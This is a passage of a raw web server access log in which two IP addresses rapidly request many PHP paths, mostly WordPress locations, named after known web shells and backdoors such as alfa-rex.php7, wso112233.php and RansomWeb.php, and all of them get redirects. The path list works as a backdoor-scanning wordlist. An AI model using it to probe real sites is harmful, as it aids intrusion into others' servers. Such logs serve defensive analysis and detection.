x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:21:45 -0400] "GET /wp-admin/includes/manager.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 149.88.19.87 - - [23/Apr/2025:03:21:45 -0400] "GET /ms.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 149.88.19.87 - - [23/Apr/2025:03:21:45 -0400] "GET /wp-includes/fbxcrpyy.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 149.88.19.87 - - [23/Apr/2025:03:21:45 -0400] "GET /lofter.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)" 149.88.19.85 - - [23/Apr/2025:03:21:45 -0400] "GET /wp-admin/users.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:21:45 -0400] "GET /fox.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 149.88.19.87 - - [23/Apr/2025:03:21:45 -0400] "GET /wp-content/themes/blogai/issue.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:21:45 -0400] "GET /vendor/guzzlehttp/alfa-rex.php7 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:21:45 -0400] "GET /insert_activity_db.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:21:45 -0400] "GET /wp-includes/PHPMailer/wow.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:21:45 -0400] "GET /wp-includes/sodium_compat/wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36" 149.88.19.85 - - [23/Apr/2025:03:21:45 -0400] "GET /templates/luuf.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:21:45 -0400] "GET /wp-admin/images/install.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:21:45 -0400] "GET /wp-content/themes/agwin/config.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.87 - - [23/Apr/2025:03:21:45 -0400] "GET /wp-admin/meta/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:21:45 -0400] "GET /wp-content/themes/twenty/twenty.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0" 149.88.19.87 - - [23/Apr/2025:03:21:45 -0400] "GET /wp-admin/css/colors/blue/contact.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 149.88.19.87 - - [23/Apr/2025:03:21:45 -0400] "GET /images/transfusem.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:21:45 -0400] "GET /wp-content/themes/quext/config.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36" 149.88.19.85 - - [23/Apr/2025:03:21:45 -0400] "GET /cgi-bin/users.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.87 - - [23/Apr/2025:03:21:45 -0400] "GET /ALFA_DATA/alfacgiapi/wp-conflg.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0" 149.88.19.87 - - [23/Apr/2025:03:21:45 -0400] "GET /wp-includes/PHPMailer/autoload_classmap.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:21:45 -0400] "GET /wp-content/plugins/app-calendar/config.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.85 - - [23/Apr/2025:03:21:45 -0400] "GET /wp-admin/network/ayk.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.87 - - [23/Apr/2025:03:21:45 -0400] "GET /.well-known/acme-challenge/makeasmtp.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.87 - - [23/Apr/2025:03:21:45 -0400] "GET /wp-includes/PHPMailer/themes.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:21:45 -0400] "GET /wp-content/plugins/ttxecy/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 149.88.19.87 - - [23/Apr/2025:03:21:46 -0400] "GET /.well-known/pki-validation/flower.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 149.88.19.87 - - [23/Apr/2025:03:21:46 -0400] "GET /wp-content/smm.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 149.88.19.85 - - [23/Apr/2025:03:21:46 -0400] "GET /.well-known/pki-validation/baja.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 149.88.19.87 - - [23/Apr/2025:03:21:46 -0400] "GET /wp-includes/options.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 149.88.19.87 - - [23/Apr/2025:03:21:46 -0400] "GET /wp-Includes.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 149.88.19.87 - - [23/Apr/2025:03:21:46 -0400] "GET /wp-admin/js/widgets/browser.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0" 149.88.19.87 - - [23/Apr/2025:03:21:46 -0400] "GET /update/gely.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36" 149.88.19.85 - - [23/Apr/2025:03:21:46 -0400] "GET /sys.phhttp:/marykelledy.com/cong.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:21:46 -0400] "GET /jetpack.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.87 - - [23/Apr/2025:03:21:46 -0400] "GET /class.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0" 149.88.19.87 - - [23/Apr/2025:03:21:46 -0400] "GET /include/bussubmit.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0" 149.88.19.87 - - [23/Apr/2025:03:21:46 -0400] "GET /wp-admin/css/colors/blue/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.87 - - [23/Apr/2025:03:21:46 -0400] "GET /wp-includes/classwithtostring.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:21:46 -0400] "GET /wp-content/uploads/rk2.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:21:46 -0400] "GET /xltavrat.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 149.88.19.85 - - [23/Apr/2025:03:21:46 -0400] "GET /.well-known/pki-validation/radio.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:21:46 -0400] "GET /wp-blog-header.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:21:46 -0400] "GET /text.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 149.88.19.87 - - [23/Apr/2025:03:21:46 -0400] "GET /map.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:21:46 -0400] "GET /wp-includes/Text/wp-xl504.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0" 149.88.19.87 - - [23/Apr/2025:03:21:46 -0400] "GET /plugins/function.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 149.88.19.87 - - [23/Apr/2025:03:21:46 -0400] "GET /.wp-back.phP HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.85 - - [23/Apr/2025:03:21:46 -0400] "GET /wp-admin/install.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:21:46 -0400] "GET /wp-admin/images/autoload_classmap.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:21:46 -0400] "GET /olux.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:21:46 -0400] "GET /.well-known/pki-validation/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:21:46 -0400] "GET /wp-includes/pomo/yellow.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 149.88.19.87 - - [23/Apr/2025:03:21:46 -0400] "GET /wp-content/plugins/ioxi/retu.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:21:46 -0400] "GET /wp-admin/fw.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.88.19.85 - - [23/Apr/2025:03:21:47 -0400] "GET /.well-known/zaza.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 149.88.19.87 - - [23/Apr/2025:03:21:47 -0400] "GET /.well-known/pki-validation/wrapper.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 149.88.19.87 - - [23/Apr/2025:03:21:47 -0400] "GET /wp-includespreviews.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:21:47 -0400] "GET /wp-includes/customize/file.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:21:47 -0400] "GET /wp-includes/opjelxli.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 149.88.19.87 - - [23/Apr/2025:03:21:47 -0400] "GET /.well-known/acme-challenge/sxx.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:21:47 -0400] "GET /wp-content/fw.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.88.19.85 - - [23/Apr/2025:03:21:47 -0400] "GET /.well-known/acme-challenge/shimo.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:21:47 -0400] "GET /wp-content/uploads/lmfi.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0" 149.88.19.87 - - [23/Apr/2025:03:21:47 -0400] "GET /wp-includes/widgets/parx.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:21:47 -0400] "GET /wp-commentin.php?pass=f0aab4595a024d626315fb786dce8282 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:21:47 -0400] "GET /repeater.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0" 149.88.19.87 - - [23/Apr/2025:03:21:47 -0400] "GET /saka.phP7 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 149.88.19.87 - - [23/Apr/2025:03:21:47 -0400] "GET /wp-content/uploads/RansomWeb.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36" 149.88.19.85 - - [23/Apr/2025:03:21:47 -0400] "GET /wp-includes/images/smilies/file.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0" 149.88.19.87 - - [23/Apr/2025:03:21:47 -0400] "GET /index2.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:21:47 -0400] "GET /.well-known/pki-validation/atomlib.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0" 149.88.19.87 - - [23/Apr/2025:03:21:47 -0400] "GET /wp-admin/images/module.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:21:47 -0400] "GET /test/wp-admin/maint/autoload_classmap.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 149.88.19.85 - - [23/Apr/2025:03:21:47 -0400] "GET /max.phhttp:/sushiavenue.fr/alfa-rex.php7 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 149.88.19.87 - - [23/Apr/2025:03:21:47 -0400] "GET /.well-known/acme-challenge/file.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:21:47 -0400] "GET /wp-admin/css/colors/modern/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0" 149.88.19.87 - - [23/Apr/2025:03:21:47 -0400] "GET /wp-includes/radio.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 149.88.19.87 - - [23/Apr/2025:03:21:47 -0400] "GET /1index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.85 - - [23/Apr/2025:03:21:47 -0400] "GET /.well-known/webdb.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 149.88.19.87 - - [23/Apr/2025:03:21:47 -0400] "GET /wp-content/plugins/js_composer/assets/wp-blog.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:21:47 -0400] "GET /wp-includes/sodium_compat/src/Core32/Curve25519/Ge/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.87 - - [23/Apr/2025:03:21:47 -0400] "GET /wp-includes/pomo/pomo.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.87 - - [23/Apr/2025:03:21:47 -0400] "GET /.well-known/pki-validation/web.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.85 - - [23/Apr/2025:03:21:47 -0400] "GET /edit-tags.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 149.88.19.87 - - [23/Apr/2025:03:21:47 -0400] "GET /wp-includes/SimplePie/atomlib.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:21:47 -0400] "GET /libraries/fof/database/iterator/xmrlpc.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:21:47 -0400] "GET /.well-known/pki-validation/index1.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.87 - - [23/Apr/2025:03:21:47 -0400] "GET /admin/controller/extension/wpm.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 149.88.19.87 - - [23/Apr/2025:03:21:47 -0400] "GET /wp-admin/autoload_classmap.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:21:47 -0400] "GET /.well-known/whizz.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0" 149.88.19.87 - - [23/Apr/2025:03:21:48 -0400] "GET /nf_tracking.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 149.88.19.85 - - [23/Apr/2025:03:21:48 -0400] "GET /wp-includes/install.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:21:48 -0400] "GET /wp-content/data-db.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 149.88.19.87 - - [23/Apr/2025:03:21:48 -0400] "GET /wp-admin/css/colors/coffee/upfile.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:21:48 -0400] "GET /wp-admin/user/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.87 - - [23/Apr/2025:03:21:48 -0400] "GET /payout.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.87 - - [23/Apr/2025:03:21:48 -0400] "GET /images/indexmat_crea.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:21:48 -0400] "GET /woh.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.87 - - [23/Apr/2025:03:21:48 -0400] "GET /components/com_newsfeeds/models/indexx.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 149.88.19.85 - - [23/Apr/2025:03:21:48 -0400] "GET /wp-l0gin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:21:48 -0400] "GET /wp-crom.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:21:48 -0400] "GET /wp_info.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 149.88.19.87 - - [23/Apr/2025:03:21:48 -0400] "GET /crack.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:21:48 -0400] "GET /wp-includes/buy.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 149.88.19.87 - - [23/Apr/2025:03:21:48 -0400] "GET /wso112233.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:21:48 -0400] "GET /plugins/finder/categories/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0" 149.88.19.87 - - [23/Apr/2025:03:21:48 -0400] "GET /wp-confiq.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0" 149.88.19.85 - - [23/Apr/2025:03:21:48 -0400] "GET /wp-content/plugins/clara/clara.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 149.88.19.87 - - [23/Apr/2025:03:21:48 -0400] "GET /wp-content/upload.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:21:48 -0400] "GET /.well-known/acme-challenge/mariju.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.87 - - [23/Apr/2025:03:21:48 -0400] "GET /wp-admin/includes/sidebart.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 